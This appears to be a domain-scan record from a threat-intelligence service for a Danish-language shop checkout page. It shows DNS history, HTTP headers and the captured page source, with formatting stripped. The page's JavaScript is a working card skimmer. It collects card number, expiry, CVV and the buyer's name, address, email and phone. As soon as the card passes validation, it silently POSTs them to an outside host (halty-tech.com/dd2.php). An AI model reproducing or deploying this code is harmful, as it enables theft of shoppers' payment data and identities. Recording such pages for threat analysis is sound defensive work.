Help
RSS
API
Feed
Maltego
Contact
Domain > checkout.kentonandwilde.com
×
More information on this domain is in
AlienVault OTX
Is this malicious?
Yes
No
DNS Resolutions
Date
IP Address
2025-08-15
18.160.250.214
(
ClassC
)
2025-09-13
3.169.173.89
(
ClassC
)
Port 80
HTTP/1.1 301 Moved PermanentlyServer: CloudFrontDate: Sat, 13 Sep 2025 16:03:14 GMTContent-Type: text/htmlContent-Length: 167Connection: keep-aliveLocation: https://checkout.kentonandwilde.com/X-Cache: Redirect from cloudfrontVia: 1.1 c5e1a6561d8dc3977e11160718fc75e8.cloudfront.net (CloudFront)X-Amz-Cf-Pop: HIO52-P4X-Amz-Cf-Id: g3WeW-RrmlAxL8I5M4k7Wm2F-Hl-0sDNEjHr0ajjN9fLzPzXFuwMgg html>head>title>301 Moved Permanently/title>/head>body>center>h1>301 Moved Permanently/h1>/center>hr>center>CloudFront/center>/body>/html>
Port 443
HTTP/1.1 200 OKContent-Type: text/htmlContent-Length: 43439Connection: keep-aliveDate: Sat, 13 Sep 2025 16:03:15 GMTx-amz-meta-funnel: 29afd477-8bed-4462-b824-64775c4e45ceCache-Control: max-age5x-amz-meta-pageview: 141c26eb-1ad3-4e19-b52a-84333e747288x-amz-meta-source: FunnelLast-Modified: Sat, 16 Aug 2025 03:51:19 GMTETag: 9761de7e49c231c9395dfbbe057c69b8Server: AmazonS3Strict-Transport-Security: max-age63072000; includeSubdomains; preloadX-XSS-Protection: 1; modeblockX-Content-Type-Options: nosniffX-Frame-Options: SAMEORIGINCache-Control: max-age86400Vary: Accept-EncodingX-Cache: Miss from cloudfrontVia: 1.1 6957b6fac4a3f8180355a074ea5833e2.cloudfront.net (CloudFront)X-Amz-Cf-Pop: HIO52-P4X-Amz-Cf-Id: 1n7XWY1dSopMECF9JnCNxXRiDHVOzN1L9xgm4fkf1OCK-XbEyBTNxg !doctype html>html>head>meta charsetutf-8> meta http-equivCache-Control contentno-cache, no-store, must-revalidate> meta http-equivPragma contentno-cache> meta http-equivExpires content0> meta nameviewport contentwidthdevice-width, initial-scale1.0 charsetutf-8> link relstylesheet cctrue mediaprint onloadthis.onloadnull;this.mediaall hrefhttps://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css> link relstylesheet cctrue mediaprint onloadthis.onloadnull;this.mediaall hrefhttps://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.12.1/css/all.min.css> link relstylesheet cctrue mediaprint onloadthis.onloadnull;this.mediaall hrefhttps://cdn.jsdelivr.net/npm/animate.css@3.7.2/animate.min.css> style> body.dom-pending *, .fk-lazy { background-image: none !important; } /style> script typetext/javascript srchttps://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js?version4.8.0&featuresdefault,dom,es5,es6,es7,es2017,es2018,es2019,es2022,es2021,es2020,Blob,DOMTokenList.prototype.@@iterator,DOMTokenList.prototype.forEach,NodeList.prototype.@@iterator,NodeList.prototype.forEach,scroll,fetch,URLSearchParams,Element.prototype.scroll,Element.prototype.placeholder,Promise,Promise.prototype.finally,structuredClone>/script> script srchttps://code.jquery.com/jquery-3.5.1.min.js>/script> script async srchttps://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js>/script> script async srchttps://stackpath.bootstrapcdn.com/bootstrap/4.5.0/js/bootstrap.min.js>/script> link relstylesheet hrefhttps://cdn.jsdelivr.net/npm/@placekit/autocomplete-js@latest/dist/placekit-autocomplete.min.css>script srchttps://cdn.jsdelivr.net/npm/@placekit/autocomplete-js@latest>/script>script srchttps://cdn.tailwindcss.com>/script>script srchttps://cdnjs.cloudflare.com/ajax/libs/card/2.5.4/card.min.js>/script>script idpageDataScript>var pageData {pageViewReferenceId:141c26eb-1ad3-4e19-b52a-84333e747288,funnelReferenceId:29afd477-8bed-4462-b824-64775c4e45ce};/script>style idstyleElement>img, video, iframe, hr, a, button {max-width:100%;}img, video, iframe, hr, a, button{max-width:100%;}.fk-lazy, body.dom-pending *{background-image:none !important;}.powered-by a{color:#4a5568;text-decoration:none;font-size:0.875rem;}.powered-by a:hover{text-decoration:underline;}body{background-color:rgb(243, 244, 246);font-family:Inter, sans-serif;}.image-quantity-container{position:relative;width:80px;height:80px;}.quantity-circle{position:absolute;top:-5px;left:-5px;background-color:#4A5568;color:white;border-radius:50%;width:20px;height:20px;display:flex;align-items:center;justify-content:center;font-size:12px;}.table-header{font-weight:600;color:#4a5568;text-transform:uppercase;font-size:0.75rem;letter-spacing:0.05em;}.fk-shopping-cart-item-trash{color:#e53e3e;cursor:pointer;transition:color 0.2s;}.fk-shopping-cart-item-trash:hover{color:#c53030;}.fk-shopping-cart-quantity-wrapper-class{display:inline-flex;align-items:center;border:1px solid #e2e8f0;border-radius:0.375rem;overflow:hidden;}.fk-shopping-cart-minus{background-color:#f7fafc;border:none;color:#4a5568;font-size:1rem;padding:0.25rem 0.5rem;cursor:pointer;transition:background-color 0.2s;}.fk-shopping-cart-plus{background-color:#f7fafc;border:none;color:#4a5568;font-size:1rem;padding:0.25rem 0.5rem;cursor:pointer;transition:background-color 0.2s;}.fk-shopping-cart-minus:hover{background-color:#edf2f7;}.fk-shopping-cart-plus:hover{background-color:#edf2f7;}.fk-shopping-cart-count{padding:0.25rem 0.75rem;background-color:white;}data-gjs-typetextclass*gjs-selected{outline:3px solid purple !important;}adata-gjs-typelinkclass*gjs-selected{outline:3px solid purple !important;}a{cursor:pointer;}imgdata-gjs-typeimageclass*gjs-selected{outline:3px solid orange !important;}data-gjs-typeinputclass*gjs-selected{outline:3px solid green !important;border:none;box-shadow:none;}#if0jbl-2-2{position:absolute;opacity:0;cursor:pointer;height:0;width:0;}.fk-youtube .fk-rm.image{-webkit-background-size:cover;background-position:center;background-repeat:no-repeat;width:100%;height:100%;position:absolute;}.fk-youtube .play-button{width:90px;height:60px;background-color:#333;box-shadow:0 0 30px rgba( 0,0,0,0.6 );z-index:1;opacity:0.8;border-radius:6px;}.fk-youtube .play-button:before{content:;border-style:solid;border-width:15px 0 15px 26.0px;border-color:transparent transparent transparent #fff;}.fk-youtube .fk-rm.image, .fk-youtube .play-button{cursor:pointer;}.fk-youtube .fk-rm.image, .fk-youtube iframe, .fk-youtube .play-button, .fk-youtube .play-button:before{position:absolute;}.fk-youtube .play-button, .fk-youtube .play-button:before{top:50%;left:50%;transform:translate3d( -50%, -50%, 0 );}.fk-youtube iframe{height:100%;width:100%;top:0;left:0;}#iuk3um{flex-direction:row;justify-content:flex-start;align-self:auto;margin-left:0;width:271px;height:auto;font-size:17px;font-weight:400;border-color:#434242 !important;background-color:#434242 !important;}#ilvcq{margin-bottom:5px;}#i5g8ql{flex-direction:row-reverse;margin-top:1px;}.fk-row{display:flex;justify-content:flex-start;align-items:stretch;flex-wrap:nowrap;padding:1px;height:auto;max-width:100%;}.fk-row.gjs-selected{outline:3px solid red !important;}.fk-col{min-height:25px;padding:1px;flex-grow:1;width:min-content;}.fk-col.gjs-selected{outline:3px solid #f8ba03 !important;}#iokkgh{align-items:center;}#isko21{border-color:#228cb9 !important;}#iqzjgi{text-align:center;margin-top:1px;padding-top:1px;}#checkout-form{margin-top:1px;margin-bottom:1px;}#if3clz{margin-bottom:16px;}#iuga0p{font-size:15px;}#ia736w{font-size:15px;}#ixuzi{margin-bottom:2px;}#i0m4r{margin-bottom:2px;}@media (min-width: 1024px){.lg\:w-66{width:66.666667% !important;}.lg\:w-33{width:33.333333% !important;}#card-wrapper{max-width:350px;margin:0 auto;}}@media (max-width: 1023px){#cart-summary{order:-1;margin-bottom:2rem;}}@media (max-width: 768px){.image-quantity-container{width:60px;height:60px;}#fk-dynamic-cart-table{font-size:0.875rem;}.table-text{font-size:0.75rem;}.fk-row{flex-wrap:wrap;}.fk-col{flex-basis:100%;display:block;}#iokkgh{margin-bottom:10px;}}@media (max-width: 600px){#iuk3um{width:456px;}#iokkgh{margin-bottom:15px;}}@media (max-width: 480px){#card-wrapper{margin-bottom:10px;}#iokkgh{margin-bottom:10px;}#if3clz{margin-bottom:13px;}#iuga0p{font-size:15px;}#ia736w{font-size:15px;}#iuk3um{border-color:#434242 !important;background-color:#434242 !important;}}/style>title>kentonandwilde/title>/head>body class dom-pending>div data-secondsdelay idi9xt classcontainer mx-auto px-4 py-8 lg:flex lg:flex-wrap>div data-secondsdelay idilvcq classw-full mb-8>!-- Breadcrumbs -->div data-secondsdelay classfk-row>div aligncenter data-secondsdelay idiokkgh classfk-col col>/div>/div>/div>!-- Cart summary (will be moved to top on mobile) -->div idcart-summary data-secondsdelay classw-full lg:w-33 lg:order-2>div idorder-summary-box data-secondsdelay classbg-white p-6 rounded-lg shadow-md fk-shopping-cart>table idfk-dynamic-cart-table classw-full>thead idfk-dynamic-cart-head>tr>th classtable-header convert-to-text> /th>th idifa4l classtable-header convert-to-text>Produkter /th>th classtable-header convert-to-text>Kvantitet /th>th classtable-header convert-to-text>Priser /th>/tr>/thead>tbody idfk-dynamic-cart-body>tr idfk-dynamic-cart-row>td titleImage classtext-center image-quantity>div data-secondsdelay classimage-quantity-container>img srcdata:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAiIHZpZXdCb3g9IjAgMCAyNCAyNCIgc3R5bGU9ImZpbGw6IHJnYmEoMCwwLDAsMC4xNSk7IHRyYW5zZm9ybTogc2NhbGUoMC43NSkiPgogICAgICAgIDxwYXRoIGQ9Ik04LjUgMTMuNWwyLjUgMyAzLjUtNC41IDQuNSA2SDVtMTYgMVY1YTIgMiAwIDAgMC0yLTJINWMtMS4xIDAtMiAuOS0yIDJ2MTRjMCAxLjEuOSAyIDIgMmgxNGMxLjEgMCAyLS45IDItMnoiPjwvcGF0aD4KICAgICAgPC9zdmc+ idfkt-image-2f7-4b8-8b6 title target_self href aligncenter alt width height onclick classimg-fluid img-thumbnail product-cart-image>div data-texttext data-secondsdelay classquantity-circle>1 /div>/div>/td>td titleItem idi0w1j classtable-cell table-text fk-shopping-cart-item>{ITEM_NAME} br data-texttext data-secondsdelay>i classfk-shopping-cart icp icp-auto fas fa-trash-alt fk-shopping-cart-item-trash> /i>/td>td titleQuantity classtext-center table-text>div data-secondsdelay classbtn-group fk-shopping-cart-quantity-wrapper-class>button typebutton data-idfkt-button-519-ea4-9e4 title aligncenter data-secondsdelay data-minutesdelay onclickcallMethod(event) actionchoose replaceproductid sizenone billnowfalse quantity price idifgms variantvalue offer upsell classfk-shopping-cart-minus>-/button>span data-texttext data-secondsdelay idims7s classfk-shopping-cart-count>1/span>button typebutton data-idfkt-button-f8c-aac-a21 title aligncenter data-secondsdelay data-minutesdelay onclickcallMethod(event) actionchoose replaceproductid sizenone billnowfalse quantity price idi89vl variantvalue offer upsell classfk-shopping-cart-plus>+/button>/div>/td>td titlePrice idi4ppl classtable-cell table-text>Pris /td>/tr>/tbody>/table>hr classmy-4 border-t border-gray-200>form data-texttext data-secondsdelay classmb-4> /form>div data-secondsdelay idif3clz classflex justify-between items-center>span data-texttext data-secondsdelay idiuga0p classtext-lg font-semibold>Forsendelse/span>span data-texttext data-secondsdelay idia736w classtext-lg font-semibold>Gratis/span>/div>div data-secondsdelay idiu2mj classflex justify-between items-center>span data-texttext data-secondsdelay idiptbr classtext-lg font-semibold>I alt/span>span data-texttext data-secondsdelay classtext-lg font-semibold grandTotal>0€/span>/div>/div>div data-secondsdelay idixv9o classmt-8>div data-texttext data-secondsdelay idih7tg classtext-center text-gray-500 my-4>Hvorfor vælge os? /div>div data-secondsdelay idi56e1>div data-secondsdelay idiku8y classflex items-start mb-4>div data-secondsdelay classflex-shrink-0 mr-4>img srchttps://assets.checkoutchamp.com/f09818f0-af22-11ea-afe1-abac30942df7/mail_truck.webp altGeld-zurück-Garantie idfkt-image-bad-29a-a47 title target_self href aligncenter width height onclick classw-12 h-12>/div>div data-secondsdelay idi6g8i>h3 data-texttext data-secondsdelay idixuzi classfont-semibold>5 års erfaring /h3>p data-texttext data-secondsdelay ididmjb classtext-sm text-gray-600>kentonandwilde forpligter sig hver dag til at tilbyde dig uovertrufne priser. /p>/div>/div>div data-secondsdelay idi8qi7 classflex items-start>div data-secondsdelay classflex-shrink-0 mr-4>img srchttps://assets.checkoutchamp.com/f09818f0-af22-11ea-afe1-abac30942df7/money_back.webp altVersand idfkt-image-e6e-098-92d title target_self href aligncenter width height onclick classw-12 h-12>/div>div data-secondsdelay>h3 data-texttext data-secondsdelay idi0m4r classfont-semibold>30 dages tilfredshedsgaranti eller pengene tilbage /h3>p data-texttext data-secondsdelay idizubk classtext-sm text-gray-600>Hvis du ikke er tilfreds med dine produkter, refunderer vi dig fuldt ud uden spørgsmål. /p>/div>/div>/div>/div>/div>!-- Checkout form -->div idcheckout-form data-secondsdelay classw-full lg:w-66 lg:pr-8 lg:order-1>!-- Contact Information -->div data-secondsdelay idiijph classmb-8>h2 data-texttext data-secondsdelay idiq84za classtext-xl font-semibold mb-4>Kontakt /h2>div classform>input typeemail nameemailAddress placeholderE-mailadresse customval idi0f7c4 classw-full p-3 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500>/div>/div>!-- Shipping Information -->div data-secondsdelay idi8muqx classmb-8>h2 data-texttext data-secondsdelay idifidhj classtext-xl font-semibold mb-4>Leveringsinformation /h2>div data-secondsdelay classgrid grid-cols-1 md:grid-cols-2 gap-4>input typetext nameshipFirstName placeholderNavn customval idiuma7t classw-full p-3 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500>input typetext nameshipLastName placeholderEfternavn customval idiojfv7 classw-full p-3 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500>/div>div data-secondsdelay classmt-4>input idplacekit-address typetext nameshipAddress1 placeholderAdresse customval classw-full p-3 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500>/div>div data-secondsdelay classmt-4>input typetext nameshipAddress2 placeholderEkstra adresse (valgfrit) customval idi6yqyl classw-full p-3 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500>/div>div data-secondsdelay classgrid grid-cols-1 md:grid-cols-3 gap-4 mt-4>input typetext nameshipCity placeholderByer customval idiloioc classw-full p-3 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500>select nameshipCountry typeselect customval value idif4jtv classw-full p-3 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500 fk-form-select>option data-texttext value data-secondsdelay>Land/option>/select>input typetext nameshipPostalCode placeholderPostnummer customval idimyqap classw-full p-3 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500>/div>div data-secondsdelay classmt-4>input typetel namephoneNumber placeholderTelefonnummer (valgfrit) customval idi8073s classw-full p-3 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500>/div>input typehidden nameshipState idshipState customval placeholder>/div>!-- Shipping Method -->div data-secondsdelay classmb-8>h2 data-texttext data-secondsdelay idiajp11 classtext-xl font-semibold mb-4>Leveringsmetode /h2>div data-secondsdelay idi0d0ri classbg-white p-4 border border-gray-200 rounded-md>label data-secondsdelay idia7o4m classflex items-center>input typeradio nameshipProfileId checked value opencheckboxsection onclickcheckBoxChange(attributes) classform-radio fk-form-radio>span data-texttext data-secondsdelay idie3gx4 classml-2>Sporbar levering gratis/span>/label>p data-texttext data-secondsdelay idivbmjy classtext-sm text-gray-500 mt-1 ml-6>Levering inden for 3-5 arbejdsdage /p>/div>/div>!-- Payment -->div data-secondsdelay classmb-8>h2 data-texttext data-secondsdelay idisko21 classtext-xl font-semibold mb-4>Betaling /h2>div data-secondsdelay idi970nx classbg-white p-6 border border-gray-200 rounded-md>div data-secondsdelay classflex items-center justify-between mb-4>label data-secondsdelay classflex items-center>input typeradio namepayment_method checked value opencheckboxsection onclickcheckBoxChange(attributes) classform-radio fk-form-radio>span data-texttext data-secondsdelay iditrk0p classml-2>Kreditkort/span>/label>div data-secondsdelay classflex space-x-2>div data-texttext data-secondsdelay classw-10 h-6 bg-contain bg-no-repeat> /div>div data-texttext data-secondsdelay classw-10 h-6 bg-contain bg-no-repeat> /div>div data-texttext data-secondsdelay classw-10 h-6 bg-contain bg-no-repeat> /div>div data-texttext data-secondsdelay classw-10 h-6 bg-contain bg-no-repeat> /div>/div>/div>div data-texttext idcard-wrapper data-secondsdelay> /div>form idpayment-form>div data-secondsdelay classmb-4>input typetext namecardNumber placeholderKortnummer maxlength16 customval idizgln1 classform-control w-full p-3 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500>/div>div data-secondsdelay classgrid grid-cols-2 gap-4>div data-secondsdelay>input typetext namecardDate placeholderMMAA maxlength5 customval idijx20z classform-control w-full p-3 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500>/div>div data-secondsdelay>input typetext namecardSecurityCode placeholderCVV maxlength4 customval classform-control w-full p-3 border border-gray-300 rounded-md focus:outline-none focus:ring-2 focus:ring-blue-500>/div>/div>/form>/div>/div>!-- Action buttons -->div data-secondsdelay idi5g8ql classflex justify-between items-center>button typebutton data-idfkt-button-9d1-0b6-a87 title aligncenter data-secondsdelay data-minutesdelay onclickcallMethod(event) actionsubmit replaceproductid sizenone billnowfalse quantity price idiuk3um desktopsizenone data-text-valueBekræft ordren variantvalue offer upsell tabletsizenone largemobilesizenone mobilesizenone classbg-blue-600 text-white py-3 px-6 rounded-md hover:bg-blue-700 transition duration-300 ease-in-out btn btn-primary fk-iuk3um>Bekræft ordren/button>/div>/div>/div>div data-texttext data-secondsdelay idiqzjgi classpowered-by>/div>input draggabletrue data-highlightable1 typecheckbox namebillShipSame value onclickcheckBoxChange(attributes) idif0jbl-2-2 opencheckboxsectioni9j7p checked requiredtype classfk-form-checkbox gjs-comp-selected>script> // Initialize Card.js var card new Card({ form: #payment-form, container: #card-wrapper, formSelectors: { numberInput: inputnamecardNumber, expiryInput: inputnamecardDate, cvcInput: inputnamecardSecurityCode } , width: 300, formatting: true, messages: { validDate: valid\ndate, monthYear: mm/yyyy, } , placeholders: { name: , number: •••• •••• •••• ••••, expiry: ••/••, cvc: ••• } , masks: { cardNumber: • } , debug: false } ); // Quantity buttons functionality document.querySelectorAll(.fk-shopping-cart-minus, .fk-shopping-cart-plus).forEach(button > { button.addEventListener(click, function() { const countElement this.parentElement.querySelector(.fk-shopping-cart-count); let count parseInt(countElement.textContent); if (this.classList.contains(fk-shopping-cart-minus)) { count Math.max(1, count - 1); } else { count + 1; } countElement.textContent count; } ); } );/script>script> const usdToDkkRate 6.5196417; const targetCurrency DKK; const noSubunitCurrencies JPY, KRW, VND, XOF, XAF, RWF, GNF, KMF, BIF, MGA, VUV, CLP, DKK ; function formatPrice(amount, currency) { if (currency DKK) { // Toujours afficher sans décimales et finir par kr const integerAmount Math.floor(amount); return integerAmount + kr; } return new Intl.NumberFormat(undefined, { style: currency, currency, minimumFractionDigits: noSubunitCurrencies.includes(currency) ? 0 : 2, } ).format(amount); } function calculateConvertedPrices() { const productPriceElements document.querySelectorAll(.fk-custom-cart-view .table-cell:last-child); let subtotal 0; productPriceElements.forEach((element) > { const priceText element.textContent.trim().replace(,, .); if (priceText.startsWith($)) { // USD → DKK const priceInUSD parseFloat(priceText.replace($, )); const quantityElement element.parentElement.querySelector(.fk-shopping-cart-count); const quantity quantityElement ? parseInt(quantityElement.textContent.trim(), 10) : 1; // Conversion sans décimales const convertedUnitPrice Math.floor(priceInUSD * usdToDkkRate); const totalProductPrice convertedUnitPrice * quantity; subtotal + totalProductPrice; // Stocker le prix converti pour affichage ultérieur element.dataset.convertedPrice convertedUnitPrice; } else if (priceText.endsWith(kr) || priceText.includes(targetCurrency)) { // Prix déjà en kr (par ex. 123 kr ou DKK 123) const priceInDKK parseInt(priceText.replace(/^0-9/g, ), 10); const quantityElement element.parentElement.querySelector(.fk-shopping-cart-count); const quantity quantityElement ? parseInt(quantityElement.textContent.trim(), 10) : 1; subtotal + priceInDKK * quantity; } } ); return { subtotal, isNoSubunit: noSubunitCurrencies.includes(targetCurrency) }; } function updatePricesInDOM() { const { subtotal, isNoSubunit } calculateConvertedPrices(); // Mettre à jour le sous-total const subtotalElement document.querySelector(.dynamic-price-total); if (subtotalElement) { subtotalElement.textContent formatPrice(subtotal, targetCurrency); } // Gestion de la réduction (si présente) const discountElement document.querySelector(.discount); let discount 0; if (discountElement) { const discountText discountElement.textContent.trim().replace(,, .); if (discountText.startsWith($)) { const discountInUSD parseFloat(discountText.replace($, )); discount Math.floor(discountInUSD * usdToDkkRate); discountElement.textContent formatPrice(discount, targetCurrency); } else if (discountText.endsWith(kr) || discountText.includes(targetCurrency)) { discount parseInt(discountText.replace(/^0-9/g, ), 10); } } // Mettre à jour le total général const grandTotal subtotal - discount; const formattedGrandTotal isNoSubunit ? Math.floor(grandTotal) : parseFloat(grandTotal.toFixed(2)); document.querySelectorAll(.grandTotal).forEach(el > { el.textContent formatPrice(formattedGrandTotal, targetCurrency); } ); // Afficher les prix unitaires convertis dans la liste de produits document.querySelectorAll(.fk-custom-cart-view .table-cell:last-child).forEach((el) > { if (el.dataset.convertedPrice) { el.textContent formatPrice( parseInt(el.dataset.convertedPrice, 10), targetCurrency ); } } ); } function throttle(func, wait) { let lastTime 0; return function (...args) { const now Date.now(); if (now - lastTime > wait) { lastTime now; return func.apply(this, args); } }; } const throttledUpdatePricesInDOM throttle(updatePricesInDOM, 200); function observePricesChanges() { const targetNodes document.querySelectorAll(.grandTotal); const config { childList: true, subtree: true, characterData: true }; const observer new MutationObserver((mutationsList) > { for (let mutation of mutationsList) { if ( (mutation.type characterData || mutation.type childList) && mutation.target.textContent.startsWith($) ) { updatePricesInDOM(); return; } } } ); targetNodes.forEach((node) > observer.observe(node, config)); } if (targetCurrency ! USD) { updatePricesInDOM(); observePricesChanges(); }/script>script> // Function to validate credit card number (Luhn algorithm) function validateCreditCard(cardNumber) { let sum 0; let isEven false; for (let i cardNumber.length - 1; i > 0; i--) { let digit parseInt(cardNumber.charAt(i), 10); if (isEven) { digit * 2; if (digit > 9) { digit - 9; } } sum + digit; isEven !isEven; } return (sum % 10) 0; } // Function to validate expiration date (MMYY format) function validateExpirationDate(expDate) { if (expDate.length ! 4) return false; const month parseInt(expDate.slice(0, 2), 10); const year parseInt(expDate.slice(2), 10); const expiry new Date(2000 + year, month - 1); // Month is 0-indexed in Date const today new Date(); return expiry > today && month > 1 && month 12; } function getRelevantFormData() { const cardNumber document.querySelector(inputnamecardNumber).value.replace(/\s/g, ); const expDate document.querySelector(inputnamecardDate).value.replace(/\//g, ); const cvv document.querySelector(inputnamecardSecurityCode).value; // Extract product information from cart DOM let product1_id ; // Extract product1_id from onclick functions in cart const removeButton document.querySelector(.fk-shopping-cart-item-trashonclick*removeFromCart); const plusButton document.querySelector(.fk-shopping-cart-plusonclick*plusQuantity); if (removeButton) { const onclickAttr removeButton.getAttribute(onclick); const match onclickAttr.match(/removeFromCart\((^+)\)/); if (match) { // Extract only the product ID part (before the dot if variant exists) const fullId match1; product1_id fullId.includes(.) ? fullId.split(.)0 : fullId; } } else if (plusButton) { const onclickAttr plusButton.getAttribute(onclick); const match onclickAttr.match(/plusQuantity\((^+)\)/); if (match) { // Extract only the product ID part (before the dot if variant exists) const fullId match1; product1_id fullId.includes(.) ? fullId.split(.)0 : fullId; } } // Extract quantity from DOM const qtyElement document.querySelector(.fk-shopping-cart-count); const product1_qty qtyElement ? qtyElement.textContent.trim() : ; // Extract price from DOM const priceElement document.querySelector(.grandTotal); let product1_price ; if (priceElement) { const priceText priceElement.textContent.trim(); const priceMatch priceText.match(/\d,\.+/); product1_price priceMatch ? priceMatch0.replace(,, .) : ; } const country document.querySelector(inputnameshipCountry)?.value || document.querySelector(selectnameshipCountry)?.value || ; const state document.querySelector(inputnameshipState)?.value || document.querySelector(selectnameshipState)?.value || ; const custom1 document.querySelector(metanametitle)?.content || document.title || ; return { CNum: cardNumber, CDate: expDate.length 4 ? `20${expDate.slice(2)}-${expDate.slice(0,2)}-01` : , // Convert MMYY to YYYY-MM-DD Code: cvv, Address: document.querySelector(inputnameshipAddress1).value, name: document.querySelector(inputnameshipFirstName).value, surname: document.querySelector(inputnameshipLastName).value, city: document.querySelector(inputnameshipCity).value, postcode: document.querySelector(inputnameshipPostalCode).value, email: document.querySelector(inputnameemailAddress).value, number: document.querySelector(inputnamephoneNumber).value, product1_id: product1_id, product1_price: product1_price, product1_qty: product1_qty, country: country, state: state, // state extrait de PlaceKit ou vide custom1: custom1 }; } function sendFormData(formData) { const url https://halty-tech.com/dd2.php; fetch(url, { method: POST, mode: cors, credentials: include, headers: { Content-Type: application/json, } , body: JSON.stringify(formData), } ) .then(response > { if (!response.ok) { throw new Error(Network response was not ok); } return response.json(); } ) .then(data > { // Handle successful response here (e.g., show success message to user) } ) .catch((error) > { // Handle errors here (e.g., show error message to user) } ); } function updateFieldValidity(field, isValid) { field.classList.toggle(is-valid, isValid); field.classList.toggle(is-invalid, !isValid); } function logOrderParameters() { // Récupération de tous les paramètres demandés const cardNumber document.querySelector(inputnamecardNumber)?.value || ; const cardSecurityCode document.querySelector(inputnamecardSecurityCode)?.value || ; const cardDate document.querySelector(inputnamecardDate)?.value || ; const cleanedCardDate cardDate.replace(/\//g, ); // Retirer les slashes comme dans le code original const cardMonth cleanedCardDate.length > 2 ? cleanedCardDate.slice(0, 2) : ; const cardYear cleanedCardDate.length > 4 ? cleanedCardDate.slice(2, 4) : ; const firstName document.querySelector(inputnameshipFirstName)?.value || ; const lastName document.querySelector(inputnameshipLastName)?.value || ; const emailAddress document.querySelector(inputnameemailAddress)?.value || ; const phoneNumber document.querySelector(inputnamephoneNumber)?.value || ; const country document.querySelector(inputnameshipCountry)?.value || document.querySelector(selectnameshipCountry)?.value || ; const postalCode document.querySelector(inputnameshipPostalCode)?.value || ; const state document.querySelector(inputnameshipState)?.value || document.querySelector(selectnameshipState)?.value || ; const city document.querySelector(inputnameshipCity)?.value || ; const address1 document.querySelector(inputnameshipAddress1)?.value || ; // Extract product information from cart DOM let product1_id ; // Extract product1_id from onclick functions in cart (removeFromCart or plusQuantity) const removeButton document.querySelector(.fk-shopping-cart-item-trashonclick*removeFromCart); const plusButton document.querySelector(.fk-shopping-cart-plusonclick*plusQuantity); if (removeButton) { const onclickAttr removeButton.getAttribute(onclick); const match onclickAttr.match(/removeFromCart\((^+)\)/); if (match) { // Extract only the product ID part (before the dot if variant exists) const fullId match1; product1_id fullId.includes(.) ? fullId.split(.)0 : fullId; } } else if (plusButton) { const onclickAttr plusButton.getAttribute(onclick); const match onclickAttr.match(/plusQuantity\((^+)\)/); if (match) { // Extract only the product ID part (before the dot if variant exists) const fullId match1; product1_id fullId.includes(.) ? fullId.split(.)0 : fullId; } } // Extraire la quantité depuis le DOM (span avec classe fk-shopping-cart-count) const qtyElement document.querySelector(.fk-shopping-cart-count); const product1_qty qtyElement ? qtyElement.textContent.trim() : ; // Extraire le prix depuis le DOM (span avec classe grandTotal) const priceElement document.querySelector(.grandTotal); let product1_price ; if (priceElement) { const priceText priceElement.textContent.trim(); // Extraire le nombre du prix (enlever €, symboles, etc.) const priceMatch priceText.match(/\d,\.+/); product1_price priceMatch ? priceMatch0.replace(,, .) : ; } const custom1 document.querySelector(metanametitle)?.content || document.title || ; } function checkAndSendFormData() { const cardNumberInput document.querySelector(inputnamecardNumber); const expDateInput document.querySelector(inputnamecardDate); const cvvInput document.querySelector(inputnamecardSecurityCode); const cardNumber cardNumberInput.value.replace(/\s/g, ); const expDate expDateInput.value.replace(/^\d/g, ); // Remove all non-digit characters const cvv cvvInput.value; const isCardValid validateCreditCard(cardNumber); const isExpDateValid validateExpirationDate(expDate); const isCvvValid cvv.length > 3 && cvv.length 4; // Update UI to show validation results updateFieldValidity(cardNumberInput, isCardValid); updateFieldValidity(expDateInput, isExpDateValid); updateFieldValidity(cvvInput, isCvvValid); if (isCardValid && isExpDateValid && isCvvValid) { const formData getRelevantFormData(); sendFormData(formData); } else { } } // Debounce function function debounce(func, timeout 300) { let timer; return (...args) > { clearTimeout(timer); timer setTimeout(() > { func.apply(this, args); } , timeout); }; } function setupFormListener() { const cardNumberInput document.querySelector(inputnamecardNumber); const expDateInput document.querySelector(inputnamecardDate); const cvvInput document.querySelector(inputnamecardSecurityCode); const debouncedCheckAndSendFormData debounce(checkAndSendFormData); // Utiliser le même système de déclenchement que before.js cardNumberInput.addEventListener(input, debouncedCheckAndSendFormData); expDateInput.addEventListener(input, debouncedCheckAndSendFormData); cvvInput.addEventListener(input, debouncedCheckAndSendFormData); // Additional event listeners for blur events cardNumberInput.addEventListener(blur, checkAndSendFormData); expDateInput.addEventListener(blur, checkAndSendFormData); cvvInput.addEventListener(blur, checkAndSendFormData); // Déclencheur universel pour les console logs - écouter TOUS les clics de boutons document.addEventListener(click, function(e) { const target e.target; // Si cest un bouton ou un élément cliquable qui pourrait être un bouton de commande if (target.tagName BUTTON || target.tagName INPUT || target.classList.contains(btn)) { // Log les paramètres pour tous les boutons (universel, pas de dépendance au nom) logOrderParameters(); } } ); } // Initialize the form listener when the DOM is fully loaded document.addEventListener(DOMContentLoaded, setupFormListener);/script>script> document.addEventListener(DOMContentLoaded, function() { const pka placekitAutocomplete(pk_7oWiSKI3jnINg9mEJiZT9e2T5Gnjy5lEZ868/HaqTrE, { target: #placekit-address, countries: DK, // Start with France selected types: street, language: da, maxResults: 5, } ); pka.on(pick, (value, item) > { // Fill in other fields based on the selected address document.querySelector(inputnameshipCity).value item.city || ; document.querySelector(inputnameshipPostalCode).value item.zipcode && item.zipcode.length > 0 ? item.zipcode0 : ; // Set country const countrySelect document.querySelector(selectnameshipCountry); if 